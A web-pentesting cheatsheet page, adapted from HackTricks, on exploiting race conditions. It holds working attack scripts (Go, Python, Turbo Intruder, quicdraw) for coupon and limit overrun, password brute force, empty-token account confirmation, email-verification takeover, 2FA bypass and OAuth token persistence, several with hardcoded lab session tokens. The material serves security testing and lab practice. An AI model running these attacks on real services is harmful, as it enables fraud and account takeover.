daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

race-condition.md (32236B)


      1 ---
      2 title: "Race Condition"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/race-condition.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/race-condition.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Race Condition
     14 
     15 > [!WARNING]
     16 > For obtaining a deep understanding of this technique check the original report in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)<sup>[[1]](#references)</sup>
     17 
     18 ## Enhancing Race Condition Attacks
     19 
     20 The main hurdle in exploiting race conditions is ensuring that multiple requests reach the vulnerable state transition together, with **very little difference in processing time—ideally less than 1 ms**.<sup>[[15]](#references)</sup>
     21 
     22 Here you can find some techniques for Synchronizing Requests:
     23 
     24 #### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
     25 
     26 - **HTTP/2**: Supports sending two requests over a single TCP connection, reducing network jitter impact. However, due to server-side variations, two requests may not suffice for a consistent race condition exploit.
     27 - **HTTP/1.1 'Last-Byte Sync'**: Enables the pre-sending of most parts of 20-30 requests, withholding a small fragment, which is then sent together, achieving simultaneous arrival at the server.
     28 
     29 **Preparation for Last-Byte Sync** involves:
     30 
     31 1. Sending headers and body data minus the final byte without ending the stream.
     32 2. Pausing for 100ms post-initial send.
     33 3. Disabling TCP_NODELAY to utilize Nagle's algorithm for batching final frames.
     34 4. Pinging to warm up the connection.
     35 
     36 The subsequent sending of withheld frames should result in their arrival in a single packet, verifiable via Wireshark. This method does not apply to static files, which are not typically involved in RC attacks.
     37 
     38 #### HTTP/3 Last‑Frame Synchronization (QUIC)
     39 
     40 - **Concept**: HTTP/3 rides over QUIC (UDP). There’s no TCP coalescing or Nagle to rely on, so classic last‑byte sync doesn’t work with off‑the‑shelf clients. Instead, you need to deliberately coalesce multiple QUIC stream‑final DATA frames (FIN) into the same UDP datagram so the server processes all target requests in the same scheduling tick.
     41 - **How to do it**: Use a purpose‑built library that exposes QUIC frame control. For example, H3SpaceX manipulates quic-go to implement HTTP/3 last‑frame synchronization for both requests with a body and GET‑style requests without a body.<sup>[[2]](#references)</sup>
     42   - Requests‑with‑body: send HEADERS + DATA minus the last byte for N streams, then flush the final byte of each stream together.
     43   - GET‑style: craft fake DATA frames (or a tiny body with Content‑Length) and end all streams in one datagram.
     44 - **Practical limits**:
     45   - Concurrency is bounded by the peer’s QUIC max_streams transport parameter (similar to HTTP/2’s SETTINGS_MAX_CONCURRENT_STREAMS). If it’s low, open multiple H3 connections and spread the race across them.
     46   - UDP datagram size and path MTU cap how many stream‑final frames you can coalesce. The library handles splitting into multiple datagrams if needed, but a single‑datagram flush is most reliable.
     47 - **Practice**: There are public H2/H3 race labs and sample exploits accompanying H3SpaceX.
     48 
     49 <details>
     50 <summary>HTTP/3 last‑frame sync (Go + H3SpaceX) minimal example</summary>
     51 
     52 ```go
     53 package main
     54 
     55 import (
     56   "context"
     57   "crypto/tls"
     58   "net/http"
     59   "time"
     60 
     61   "github.com/quic-go/quic-go"
     62   h3 "github.com/nxenon/h3spacex/http3"
     63 )
     64 
     65 func main() {
     66   tlsConf := &tls.Config{InsecureSkipVerify: true, NextProtos: []string{h3.NextProtoH3}}
     67   quicConf := &quic.Config{MaxIdleTimeout: 10 * time.Second, KeepAlivePeriod: 10 * time.Millisecond}
     68   conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf)
     69   var reqs []*http.Request
     70   for i := 0; i < 50; i++ {
     71     r, _ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"cookie": "sess=...", "content-type": "application/json"}, []byte(`{"coupon":"SAVE"}`))
     72     reqs = append(reqs, &r)
     73   }
     74   h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true)
     75 }
     76 ```
     77 </details>
     78 
     79 #### HTTP/3 Practical Tooling
     80 
     81 - **QuicDraw(H3)** is a ready-made CLI/UI for HTTP/3 race testing. It implements `Quic-Fin-Sync`, so it is handy when you want to replay the same request many times (`-tr`) or fuzz a request by placing `FUZZ` in the POST body and feeding a wordlist with `-w`.<sup>[[3]](#references)</sup>
     82 - Logging QUIC secrets with `-l /tmp/sslkeys.log` makes Wireshark verification much easier, because you can confirm whether the final frames were actually coalesced and whether packet loss/fragmentation ruined the release point.
     83 - A practical consequence from newer HTTP/3 research is that **failing with 2-10 requests does not prove an H3 target is safe**. User-space QUIC stacks may absorb small bursts and only start collapsing into a useful race window once you push much higher concurrency, so test more streams and, if needed, multiple QUIC connections.
     84 
     85 ```bash
     86 pip install quicdraw
     87 quicdraw https://target/apply -d '{"coupon":"SAVE"}' -H 'cookie: session=...' -H 'content-type: application/json' -tr 20 -l /tmp/sslkeys.log -v
     88 quicdraw https://target/apply -d '{"coupon":"FUZZ"}' -H 'content-type: application/json' -w ./codes.txt
     89 ```
     90 
     91 ### Adapting to Server Architecture
     92 
     93 Understanding the target's architecture is crucial. Front-end servers might route requests differently, affecting timing. Preemptive server-side connection warming, through inconsequential requests, might normalize request timing.
     94 
     95 #### Shared-nothing / sharded back-ends
     96 
     97 If a front-end hashes on **cookie**, **client IP**, **tenant**, or the **object identifier** being modified, two perfectly synchronized requests might still land on different app nodes, workers, or queues and never contend on the same state. Keep the **same auth context** and the **same business object identifiers** across the whole batch. When you need multiple H2/H3 connections because of stream limits, warm each connection first and compare timing or response headers to spot when a different backend handled the request.
     98 
     99 #### Handling Session-Based Locking
    100 
    101 Frameworks like PHP's session handler serialize requests by session, potentially obscuring vulnerabilities. Utilizing different session tokens for each request can circumvent this issue.
    102 
    103 #### Overcoming Rate or Resource Limits
    104 
    105 If connection warming is ineffective, triggering web servers' rate or resource limit delays intentionally through a flood of dummy requests might facilitate the single-packet attack by inducing a server-side delay conducive to race conditions.
    106 
    107 #### Async workers, queues and idempotency layers
    108 
    109 Modern APIs often split one logical action across several steps: **validate request**, **snapshot state**, **enqueue a job**, and **finalize later in another worker**. These flows are excellent race-condition targets because the first request may expose a brief **"accepted but not fully committed"** state.
    110 
    111 High-value probes:
    112 
    113 - **Checkout / order placement** vs **cart mutation**, **gift-card redemption**, or **apply-coupon**
    114 - **Email / OTP issuance** vs **profile/email changes**
    115 - **OAuth code/token redemption** and **refresh-token rotation**
    116 - **Invite/referral/credit** creation vs reuse
    117 - **Idempotency-key-protected APIs** where the key is checked before the final write is committed
    118 
    119 Do not assume `Idempotency-Key` / `X-Request-ID` headers make an endpoint safe. A common anti-pattern is: **lookup key -> perform action -> store key/result**. If two requests with the same key run concurrently, or hit different workers, both may still execute. Good probes are:
    120 
    121 - same body + same idempotency key
    122 - same key + slightly different body
    123 - same logical action over alternate endpoints or API versions
    124 - same checkout raced over multiple warmed connections when one connection is limited by `SETTINGS_MAX_CONCURRENT_STREAMS`
    125 
    126 ## Attack Examples
    127 
    128 - **Turbo Intruder - HTTP2 single-packet attack (1 endpoint)**: You can send the request to **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), you can change in the request the value you want to brute force for **`%s`** like in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` and then select the **`examples/race-single-packet-attack.py`** from the drop down:
    129 
    130 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2857%29.png" alt=""><figcaption></figcaption></figure>
    131 
    132 If you are going to **send different values**, you could modify the code with this one that uses a wordlist from the clipboard:
    133 
    134 ```python
    135     passwords = wordlists.clipboard
    136     for password in passwords:
    137         engine.queue(target.req, password, gate='race1')
    138 ```
    139 
    140 > [!WARNING]
    141 > If the web doesn't support HTTP2 (only HTTP1.1) use `Engine.THREADED` or `Engine.BURP` instead of `Engine.BURP2`.
    142 
    143 - **Turbo Intruder - HTTP2 single-packet attack (Several endpoints)**: In case you need to send a request to 1 endpoint and then multiple to other endpoints to trigger the RCE, you can change the `race-single-packet-attack.py` script with something like:
    144 
    145 ```python
    146 def queueRequests(target, wordlists):
    147     engine = RequestEngine(endpoint=target.endpoint,
    148                            concurrentConnections=1,
    149                            engine=Engine.BURP2
    150                            )
    151 
    152     # Hardcode the second request for the RC
    153     confirmationReq = '''POST /confirm?token[]= HTTP/2
    154 Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
    155 Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
    156 Content-Length: 0
    157 
    158 '''
    159 
    160     # For each attempt (20 in total) send 50 confirmation requests.
    161     for attempt in range(20):
    162         currentAttempt = str(attempt)
    163         username = 'aUser' + currentAttempt
    164 
    165         # queue a single registration request
    166         engine.queue(target.req, username, gate=currentAttempt)
    167 
    168         # queue 50 confirmation requests - note that this will probably be sent in two separate packets
    169         for i in range(50):
    170             engine.queue(confirmationReq, gate=currentAttempt)
    171 
    172         # send all the queued requests for this attempt
    173         engine.openGate(currentAttempt)
    174 ```
    175 
    176 - It's also available in **Repeater** via the new '**Send group in parallel**' option in Burp Suite.
    177   - For **limit-overrun** you could just add the **same request 50 times** in the group.
    178   - For **connection warming**, you could **add** at the **beginning** of the **group** some **requests** to some non static part of the web server.
    179   - For **delaying** the process **between** processing **one request and another** in a 2 substates steps, you could **add extra requests between** both requests.
    180   - For a **multi-endpoint** RC you could start sending the **request** that **goes to the hidden state** and then **50 requests** just after it that **exploits the hidden state**.
    181 
    182 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2858%29.png" alt=""><figcaption></figcaption></figure>
    183 
    184 - **PacketSprinter (Burp extension)**: Useful when you want the **HTTP/2 single-packet** workflow without writing Turbo Intruder code. It lets you duplicate a base request in bulk, send the whole batch in parallel, and compare every response side by side.<sup>[[4]](#references)</sup>
    185   - Great for quick **limit-overrun**, **coupon/gift-card**, and **order-placement** tests where the main question is “which requests won?”.
    186   - Current caveats: it focuses on **HTTP/2**. It does **not** replace **HTTP/1.1 last-byte sync** or **HTTP/3** tooling.
    187 - **Recent Burp builds** improved the accuracy of the built-in single-packet attack for **very small race windows**. If an old test only worked sporadically, repeat it with an up-to-date Burp build before assuming the target is fixed.<sup>[[5]](#references)</sup>
    188 
    189 - **Automated python script**: The goal of this script is to change the email of a user while continually verifying it until the verification token of the new email arrives to the last email (this is because in the code it was seeing a RC where it was possible to modify an email but have the verification sent to the old one because the variable indicating the email was already populated with the first one).\
    190   When the word "objetivo" is found in the received emails we know we received the verification token of the changed email and we end the attack.
    191 
    192 ```python
    193 # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
    194 # Script from victor to solve a HTB challenge
    195 from h2spacex import H2OnTlsConnection
    196 from time import sleep
    197 from h2spacex import h2_frames
    198 import requests
    199 
    200 cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
    201 
    202 # change these headers
    203 
    204 headersObjetivo= """accept: */*
    205 content-type: application/x-www-form-urlencoded
    206 Cookie: "+cookie+"""
    207 Content-Length: 112
    208 """
    209 
    210 bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
    211 
    212 headersVerification= """Content-Length: 1
    213 Cookie: "+cookie+"""
    214 """
    215 CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
    216 
    217 host = "94.237.56.46"
    218 puerto =39697
    219 
    220 
    221 url = "https://"+host+":"+str(puerto)+"/email/"
    222 
    223 response = requests.get(url, verify=False)
    224 
    225 
    226 while "objetivo" not in response.text:
    227 
    228     urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
    229 
    230     responseDeleteMails = requests.get(urlDeleteMails, verify=False)
    231     #print(response.text)
    232     # change this host name to new generated one
    233 
    234     Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
    235     data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
    236     urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
    237     responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
    238 
    239     print(responseReset.status_code)
    240 
    241     h2_conn = H2OnTlsConnection(
    242         hostname=host,
    243         port_number=puerto
    244     )
    245 
    246     h2_conn.setup_connection()
    247 
    248     try_num = 100
    249 
    250     stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
    251 
    252     all_headers_frames = []  # all headers frame + data frames which have not the last byte
    253     all_data_frames = []  # all data frames which contain the last byte
    254 
    255 
    256     for i in range(0, try_num):
    257         last_data_frame_with_last_byte=''
    258         if i == try_num/2:
    259             header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
    260                 method='POST',
    261                 headers_string=headersObjetivo,
    262                 scheme='https',
    263                 stream_id=stream_ids_list[i],
    264                 authority=host,
    265                 body=bodyObjetivo,
    266                 path='/challenge/api/profile'
    267             )
    268         else:
    269             header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
    270                 method='GET',
    271                 headers_string=headersVerification,
    272                 scheme='https',
    273                 stream_id=stream_ids_list[i],
    274                 authority=host,
    275                 body=".",
    276                 path='/challenge/api/sendVerification'
    277             )
    278 
    279         all_headers_frames.append(header_frames_without_last_byte)
    280         all_data_frames.append(last_data_frame_with_last_byte)
    281 
    282 
    283     # concatenate all headers bytes
    284     temp_headers_bytes = b''
    285     for h in all_headers_frames:
    286         temp_headers_bytes += bytes(h)
    287 
    288     # concatenate all data frames which have last byte
    289     temp_data_bytes = b''
    290     for d in all_data_frames:
    291         temp_data_bytes += bytes(d)
    292 
    293     h2_conn.send_bytes(temp_headers_bytes)
    294 
    295     # wait some time
    296     sleep(0.1)
    297 
    298     # send ping frame to warm up connection
    299     h2_conn.send_ping_frame()
    300 
    301     # send remaining data frames
    302     h2_conn.send_bytes(temp_data_bytes)
    303 
    304     resp = h2_conn.read_response_from_socket(_timeout=3)
    305     frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
    306     frame_parser.add_frames(resp)
    307     frame_parser.show_response_of_sent_requests()
    308 
    309     print('---')
    310 
    311     sleep(3)
    312     h2_conn.close_connection()
    313 
    314     response = requests.get(url, verify=False)
    315 ```
    316 
    317 #### Turbo Intruder: engine and gating notes
    318 
    319 - Engine selection: use `Engine.BURP2` on HTTP/2 targets to trigger the single‑packet attack; fall back to `Engine.THREADED` or `Engine.BURP` for HTTP/1.1 last‑byte sync.
    320 - `gate`/`openGate`: queue many copies with `gate='race1'` (or per‑attempt gates), which withholds the tail of each request; `openGate('race1')` flushes all tails together so they arrive nearly simultaneously.
    321 - Diagnostics: negative timestamps in Turbo Intruder indicate the server responded before the request was fully sent, proving overlap. This is expected in true races.
    322 - Connection warming: send a ping or a few harmless requests first to stabilise timings; optionally disable `TCP_NODELAY` to encourage batching of the final frames.
    323 
    324 
    325 ### Improving Single Packet Attack
    326 
    327 In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms.<sup>[[6]](#references)</sup>
    328 
    329 Note that although this improvement makes the attack more reliable in RC that requires hundreds/thousands of packets to arrive at the same time, it might also have some software limitations. Some popular HTTP servers like Apache, Nginx and Go have a strict `SETTINGS_MAX_CONCURRENT_STREAMS` setting to 100, 128 and 250. However, others like NodeJS and nghttp2 have it unlimited.\
    330 This basically means that Apache will only consider 100 HTTP connections from a single TCP connection (limiting this RC attack). For HTTP/3, the analogous limit is QUIC’s max_streams transport parameter – if it’s small, spread your race across multiple QUIC connections.
    331 
    332 You can find some examples using this technique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
    333 
    334 ## Raw BF
    335 
    336 Before the previous research these were some payloads used which just tried to send the packets as fast as possible to cause a RC.
    337 
    338 - **Repeater:** Check the examples from the previous section.
    339 - **Intruder**: Send the **request** to **Intruder**, set the **number of threads** to **30** inside the **Options menu and,** select as payload **Null payloads** and generate **30.**
    340 - **Turbo Intruder**
    341 
    342 ```python
    343 def queueRequests(target, wordlists):
    344     engine = RequestEngine(endpoint=target.endpoint,
    345                            concurrentConnections=5,
    346                            requestsPerConnection=1,
    347                            pipeline=False
    348                            )
    349     a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
    350     for i in range(len(a)):
    351         engine.queue(target.req,a[i], gate='race1')
    352     # open TCP connections and send partial requests
    353     engine.start(timeout=10)
    354     engine.openGate('race1')
    355     engine.complete(timeout=60)
    356 
    357 def handleResponse(req, interesting):
    358     table.add(req)
    359 ```
    360 
    361 - **Python - asyncio**
    362 
    363 ```python
    364 import asyncio
    365 import httpx
    366 
    367 async def use_code(client):
    368     resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
    369     return resp.text
    370 
    371 async def main():
    372     async with httpx.AsyncClient() as client:
    373         tasks = []
    374         for _ in range(20): #20 times
    375             tasks.append(asyncio.ensure_future(use_code(client)))
    376 
    377         # Get responses
    378         results = await asyncio.gather(*tasks, return_exceptions=True)
    379 
    380         # Print results
    381         for r in results:
    382             print(r)
    383 
    384         # Async2sync sleep
    385         await asyncio.sleep(0.5)
    386     print(results)
    387 
    388 asyncio.run(main())
    389 ```
    390 
    391 ## **RC Methodology**
    392 
    393 ### Limit-overrun / TOCTOU
    394 
    395 This is the most basic type of race condition where **vulnerabilities** that **appear** in places that **limit the number of times you can perform an action**. Like using the same discount code in a web store several times. A very easy example can be found in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) or in [**this bug**](https://hackerone.com/reports/759247)**.**<sup>[[7]](#references)</sup><sup>[[8]](#references)</sup>
    396 
    397 There are many variations of this kind of attack, including:
    398 
    399 - Redeeming a gift card multiple times
    400 - Rating a product multiple times
    401 - Withdrawing or transferring cash in excess of your account balance
    402 - Reusing a single CAPTCHA solution
    403 - Bypassing an anti-brute-force rate limit
    404 
    405 Modern variants often hide behind "safe-looking" APIs such as **checkout**, **store-credit / loyalty spend**, **gift-card redemption**, or **idempotency-key-protected payment** endpoints. When testing these, do not only race identical requests. Also race the **finalization** request against **state-changing** requests that affect the same balance/object.
    406 
    407 ### **Hidden substates**
    408 
    409 Exploiting complex race conditions often involves taking advantage of brief opportunities to interact with hidden or **unintended machine substates**. Here’s how to approach this:
    410 
    411 1. **Identify Potential Hidden Substates**
    412    - Start by pinpointing endpoints that modify or interact with critical data, such as user profiles or password reset processes. Focus on:
    413      - **Storage**: Prefer endpoints that manipulate server-side persistent data over those handling data client-side.
    414      - **Action**: Look for operations that alter existing data, which are more likely to create exploitable conditions compared to those that add new data.
    415      - **Keying**: Successful attacks usually involve operations keyed on the same identifier, e.g., username or reset token.
    416 2. **Conduct Initial Probing**
    417    - Test the identified endpoints with race condition attacks, observing for any deviations from expected outcomes. Unexpected responses or changes in application behavior can signal a vulnerability.
    418 3. **Demonstrate the Vulnerability**
    419    - Narrow down the attack to the minimal number of requests needed to exploit the vulnerability, often just two. This step might require multiple attempts or automation due to the precise timing involved.
    420 
    421 #### Finding hidden substates faster
    422 
    423 If every raced request returns the same status/body, don't stop there. A useful workflow is:
    424 
    425 1. Build **two near-identical requests** where only one should hit the suspected hidden branch.
    426 2. Release them with the **same synchronization primitive** (single-packet / last-byte / last-frame) and **alternate the order** across many attempts.
    427 3. Compare timing deltas, not just bodies. Tiny differences can reveal a hidden validation step, cache miss, backend lookup, or lock contention even when the visible response is identical.
    428 
    429 If you confirm a timing signal first, come back and turn it into a full race exploit. For more ideas check [Timing Attacks](/hacktricks/pentesting-web/timing-attacks).
    430 
    431 ### Time Sensitive Attacks
    432 
    433 Precision in timing requests can reveal vulnerabilities, especially when predictable methods like timestamps are used for security tokens. For instance, generating password reset tokens based on timestamps could allow identical tokens for simultaneous requests.
    434 
    435 **To Exploit:**
    436 
    437 - Use precise timing, like a single packet attack, to make concurrent password reset requests. Identical tokens indicate a vulnerability.
    438 
    439 **Example:**
    440 
    441 - Request two password reset tokens at the same time and compare them. Matching tokens suggest a flaw in token generation.
    442 
    443 This pattern is especially common in [**reset-password flows**](/hacktricks/pentesting-web/reset-password) and [**OAuth code redemption**](/hacktricks/pentesting-web/oauth-to-account-takeover).
    444 
    445 **Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
    446 
    447 ## Hidden substates case studies
    448 
    449 ### Pay & add an Item
    450 
    451 Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) to see how to **pay** in a store and **add an extra** item you that **won't need to pay for it**.
    452 
    453 ### Checkout snapshot / balance masking
    454 
    455 A very common modern e-commerce variant is to start **`/checkout`** while simultaneously changing the **cart**, **gift-card balance**, **store credit**, or **coupon state**. If the checkout path snapshots one object early and later commits against a partially stale view, you can **overdraw balances** or **obtain items added after the payment check**.<sup>[[9]](#references)</sup>
    456 
    457 This is especially worth testing when:
    458 
    459 - totals are recalculated by a different service than the one that authorizes payment
    460 - gift cards / credits are stored separately from the order row
    461 - the API exposes both **"apply discount"** and **"place order"** endpoints instead of one atomic transaction
    462 
    463 ### Confirm other emails
    464 
    465 The idea is to **verify an email address and change it to a different one at the same time** to find out if the platform verifies the new one changed.
    466 
    467 ### Cookie-based change to two email addresses
    468 
    469 According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**.<sup>[[1]](#references)</sup>
    470 
    471 **Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
    472 
    473 ### Hidden Database states / Confirmation Bypass
    474 
    475 If **2 different writes** are used to **add** **information** inside a **database**, there is a small portion of time where **only the first data has been written** inside the database. For example, when creating a user the **username** and **password** might be **written** and **then the token** to confirm the newly created account is written. This means that for a small time the **token to confirm an account is null**.
    476 
    477 Therefore **registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) to confirm the account right away could allow to c**onfirm an account** where you don't control the email.
    478 
    479 **Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
    480 
    481 ### Bypass 2FA
    482 
    483 The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
    484 
    485 See [**2FA Bypass**](/hacktricks/pentesting-web/2fa-bypass) for additional workflow bugs once you confirm a race window.
    486 
    487 ```python
    488 session['userid'] = user.userid
    489 if user.mfa_enabled:
    490     session['enforce_mfa'] = True
    491     # generate and send MFA code to user
    492     # redirect browser to MFA code entry form
    493 ```
    494 
    495 ### OAuth2 eternal persistence
    496 
    497 OAuth providers let applications authenticate registered users and request access to selected user data. A catalog of well-known providers can help identify implementations to test.<sup>[[16]](#references)</sup> The user normally sees a consent prompt such as: “_Application ExampleApp wants to access your information; do you want to allow it?_”
    498 
    499 #### Race Condition in `authorization_code`
    500 
    501 After consent, the provider sends an **`authorization_code`** to the application. A vulnerable provider may let the application race code redemption and generate more than one access-token/refresh-token (AT/RT) pair from the same code. If revocation deletes only one pair, the concurrently created tokens may remain valid after the user withdraws consent.<sup>[[14]](#references)</sup>
    502 
    503 #### Race Condition in `Refresh Token`
    504 
    505 Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.**<sup>[[13]](#references)</sup>
    506 
    507 See [**OAuth to Account Takeover**](/hacktricks/pentesting-web/oauth-to-account-takeover) for more OAuth-specific race/replay primitives.
    508 
    509 ## **RC in WebSockets**
    510 
    511 - [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) is a Java PoC for sending WebSocket messages in **parallel** to test race conditions.
    512 - With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).<sup>[[10]](#references)</sup><sup>[[11]](#references)</sup><sup>[[12]](#references)</sup>
    513 - The extension is now in PortSwigger’s **BApp Store**, which makes ad-hoc WS race testing much easier during a normal Burp assessment.
    514 
    515 ## References
    516 
    517 - [1] [Smashing the state machine: the true potential of web race conditions](https://portswigger.net/research/smashing-the-state-machine)
    518 - [2] [H3SpaceX (HTTP/3 last‑frame sync) – Go package docs](https://pkg.go.dev/github.com/nxenon/h3spacex)
    519 - [3] [Racing and Fuzzing HTTP/3: Open-sourcing QuicDraw(H3)](https://www.cyberark.com/resources/threat-research-blog/racing-and-fuzzing-http-3-open-sourcing-quicdraw)
    520 - [4] [PacketSprinter: Simplifying HTTP/2 Single‑Packet Testing (Route Zero blog)](https://routezero.security/2024/11/17/introducing-packetsprinter-for-burp-suite-simplifying-http-2-single-packet-attack-testing/)
    521 - [5] [What's new in Burp Suite Professional: A year of innovation](https://portswigger.net/blog/whats-new-in-burp-suite-professional-a-year-of-innovation)
    522 - [6] [Beyond the Limit: Expanding Single Packet Race Condition with First Sequence Sync](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
    523 - [7] [HackerOne report #759247](https://hackerone.com/reports/759247)
    524 - [8] [RACE Condition vulnerability found in bug-bounty program](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)
    525 - [9] [Allow to enable lock for order placement · Issue #7325](https://github.com/nopSolutions/nopCommerce/issues/7325)
    526 - [10] [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
    527 - [11] [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
    528 - [12] [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
    529 - [13] [Race Conditions - exploring the possibilities](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
    530 - [14] [HackerOne report #55140](https://hackerone.com/reports/55140)
    531 - [15] [PortSwigger Web Security Academy - Race conditions](https://portswigger.net/web-security/race-conditions)
    532 - [16] [Wikipedia: List of OAuth providers](https://en.wikipedia.org/wiki/List_of_OAuth_providers)